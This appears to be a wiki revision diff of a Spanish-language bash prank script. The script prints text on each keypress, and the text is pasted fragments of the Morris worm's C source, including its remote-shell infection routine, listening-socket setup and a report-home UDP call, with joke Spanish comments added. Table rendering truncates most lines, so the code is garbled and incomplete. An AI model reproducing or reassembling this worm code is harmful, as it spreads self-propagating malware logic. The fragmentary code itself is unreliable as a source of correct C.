| + | host-> | ||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | |||
| + | /* Revisa a2in() como si estuviese actualizad */ | ||
| + | /* Usado dos veces en try_rsh_and_mail(), | ||
| + | static talk_to_sh(host, | ||
| + | >*/ | ||
| + | | ||
| + | int fdrd, fdwr; | ||
| + | { | ||
| + | object *objectptr; | ||
| + | char send_buf[512]; | ||
| + | char print_buf[52]; | ||
| + | int l572, l576, l580, l584, l588, l592; | ||
| + | |||
| + | objectptr = getobjectbyname(XS(" | ||
| + | |||
| + | if (objectptr == NULL) | ||
| + | return 0; /* < | ||
| + | if (makemagic(host, | ||
| + | return 0; | ||
| + | /* Desplaza el vector fddrw al diskette de la VAX */ | ||
| + | send_text(fdwr, | ||
| + | send_text(fdwr, | ||
| + | l576 = random() % 0x00FFFFFF; | ||
| + | |||
| + | sprintf(print_buf, | ||
| + | /* El script ' | ||
| + | sprintf(send_buf, | ||
| + | ), | ||
| + | print_buf); | ||
| + | |||
| + | send_text(fdwr, | ||
| + | /* Desclasa a gorch */ | ||
| + | wait_for(fdrd, | ||
| + | |||
| + | xorbuf(objectptr-> | ||
| + | l572 = write(fdwr, objectptr-> | ||
| + | xorbuf(objectptr-> | ||
| + | |||
| + | if (l572 != objectptr-> | ||
| + | close(l588); | ||
| + | return 0; /* to < | ||
| + | } | ||
| + | send_text(fdwr, | ||
| + | wait_for(fdrd, | ||
| + | |||
| + | #define COMPILE | ||
| + | sprintf(send_buf, | ||
| + | inet_ntoa(a2in(l592)), | ||
| + | |||
| + | /* Dispara maleficios inconexos */ | ||
| + | send_text(fdwr, | ||
| + | |||
| + | if (wait_for(fdrd, | ||
| + | close(l588); | ||
| + | return 0; /* < | ||
| + | /* Trasviste a UNIX */ | ||
| + | } | ||
| + | return waithit(host, | ||
| + | } | ||
| + | /* Corre la magia */ | ||
| + | makemagic(arg8, | ||
| + | | ||
| + | int *arg12, *arg16, *arg20, *arg24; | ||
| + | { | ||
| + | int s, i, namelen; | ||
| + | struct sockaddr_in sin0, sin1; /* 16 bytes */ | ||
| + | |||
| + | *arg20 = random() & 0x00ffffff; | ||
| + | bzero(& | ||
| + | sin1.sin_addr.s_addr = me-> | ||
| + | |||
| + | for (i= 0; i < 6; i++) { /* 64, 274 */ | ||
| + | if (arg8-> | ||
| + | continue; | ||
| + | s = socket(AF_INET, | ||
| + | if (s < 0) | ||
| + | return 0; /* 470 */ | ||
| + | bzero(& | ||
| + | /* Clava boya sobre garfio infeccioso */ | ||
| + | sin0.sin_family = AF_INET; | ||
| + | sin0.sin_port = IPPORT_TELNET; | ||
| + | sin0.sin_addr.s_addr = arg8-> | ||
| + | errno = 0; | ||
| + | if (connect(s, &sin0, sizeof(sin0)) != -1) { | ||
| + | namelen = sizeof(sin1); | ||
| + | getsockname(s, | ||
| + | close(s); | ||
| + | break; | ||
| + | } | ||
| + | close(s); | ||
| + | } | ||
| + | |||
| + | /* Desmembramiento de núcleo | ||
| + | *arg12 = sin1.sin_addr.s_addr; | ||
| + | |||
| + | for (i = 0; i < 1024; i++) { /* 286,466 */ | ||
| + | s = socket(AF_INET, | ||
| + | if (s < 0) | ||
| + | return 0; /* 470 */ | ||
| + | bzero(& | ||
| + | sin0.sin_family = AF_INET; | ||
| + | /* Cabeza de guerra inerte randómica */ | ||
| + | sin0.sin_port = random() % 0xffff; | ||
| + | if (bind(s, &sin0, sizeof(sin0)) != -1) { | ||
| + | listen(s, 10); | ||
| + | *arg16 = sin0.sin_port; | ||
| + | *arg24 = s; | ||
| + | return 1; | ||
| + | } | ||
| + | close(s); | ||
| + | } | ||
| + | |||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | |||
| + | bzero(& | ||
| + | sin.sin_family = AF_INET; | ||
| + | sin.sin_port = REPORT_PORT; | ||
| + | sin.sin_addr.s_addr = inet_addr(XS(" | ||
| + | /* < | ||
| + | /* Colorea los sockets con pseudo-tranmisiones | ||
| + | s = socket(AF_INET, | ||
| + | if (s < 0) | ||
| + | return; | ||
| + | if (sendto(s, &msg, 1, 0, &sin, sizeof(sin))) | ||
| + | ; | ||
| + | close(s); | ||
| + | } | ||
| + | |||
| + | |||
| + | int E_H[8][16]; | ||
| + | int E_L[8][16]; | ||
| + | mungE() / | ||
| + | { | ||
| + | register i, j, d5, d4, d3, d2; | ||
| + | register *a5, *a4; | ||
| + | /* Alcance de registro podrido */ | ||
| + | int l28; | ||
| + | |||
| + | for(i = 0; i < 8; i++) { | ||
| + | a5 = E_L[i]; | ||
| + | a4 = E_H[i]; | ||
| + | for(j = 0; j < 16; j++) { | ||
| + | *a5++ = 0; | ||
| + | *a4++ = 0; | ||
| + | } | ||
| + | } | ||
| + | } | ||
| + | |||
| + | des(adr1, adr2) | ||
| + | int *adr1, | ||
| + | d5 >>= 4; | ||
| + | d7 |= ipi_Le[d5 & 0x0f]; | ||
| + | d5 >>= 4; | ||
| + | /* Cierro subrutina del mal */ | ||
| + | d6 |= ipi_Hf[d5 & 0x0f]; | ||
| + | |||
| + | | ||
| + | | ||
| + | } | ||
| + | FINDEGILADA` | ||
| + | |||
| + | |||
| start=0 | start=0 | ||
| - | length=$((`echo "$text" | wc -c` / ${len:=4})) | + | length=$((`echo "$texto" | wc -c` / ${len:=4})) |
| for (( go = 1 ; go <= ${stopat: | for (( go = 1 ; go <= ${stopat: | ||
| - | do echo -n "${text: | + | do echo -n "${texto: |
| (( start = start + ${len:=4} )) | (( start = start + ${len:=4} )) | ||
| read -sn 1 inpoot | read -sn 1 inpoot | ||
| Línea 363: | Línea 1067: | ||
| end | end | ||
| exit 0 | exit 0 | ||
| - | </code> | + | </file> |
